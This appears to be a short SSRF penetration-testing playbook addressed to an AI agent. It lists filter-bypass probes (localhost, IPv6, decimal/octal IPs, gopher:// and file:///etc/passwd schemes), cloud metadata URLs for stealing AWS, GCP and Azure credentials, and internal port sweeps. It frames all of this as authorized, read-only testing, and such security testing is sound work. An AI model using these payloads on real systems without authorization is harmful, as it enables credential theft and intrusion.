SSRF playbook
You suspect a parameter is being fetched server-side. Confirm it, escalate it, prove impact.
Execution rule: use the actual parameter, callback host, and target URL before running commands. Never write literal placeholders such as <endpoint> or <role> to files; if the collaborator/canary host is missing, ask once.
1. Confirm the primitive
Send the http request with the parameter pointing to:
- An out-of-band canary the user provides (interactsh / burp collaborator / a netcat listener they own)
- Compare to a control value to confirm the server is doing the fetch
If the canary fires, you have at minimum a blind SSRF.
2. Map filter behavior
Probe how the server validates the URL. For each probe, capture status and body:
http://127.0.0.1,http://localhost,http://0.0.0.0- IPv6:
http://[::1],http://[::ffff:127.0.0.1] - Decimal/octal:
http://2130706433,http://0177.0.0.1 - DNS rebinding hosts the user provides
- Schemes:
gopher://,file:///etc/passwd,dict://,ftp:// - Redirect chain: a user-controlled URL that 302s to internal target
Group probes by outcome to fingerprint the parser (Python urllib? Java URL? curl? net/http?).
3. Hit cloud metadata
If you suspect AWS:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
If IMDSv2 is enforced, attempt to obtain the token via the same SSRF if the primitive supports headers.
For GCP: http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google.
For Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true.
4. Internal service discovery
With the SSRF confirmed, sweep common internal ports/paths from the victim's perspective: :80, :443, :6379 (Redis), :9200 (Elastic), :8500 (Consul), :2375 (Docker), :25 (SMTP). Use response time + body fingerprint.
5. Prove impact
- Stolen credentials → demonstrate by listing one S3 bucket / one GCS bucket the role can reach (read-only).
- Internal admin panel → fetch a single page that's clearly internal.
- Source code / config disclosure → grab one file via
file://or internal HTTP.
Write a report to findings/ssrf-<endpoint>.md with the exact request, the exact response, and the impact you proved. Stop there.
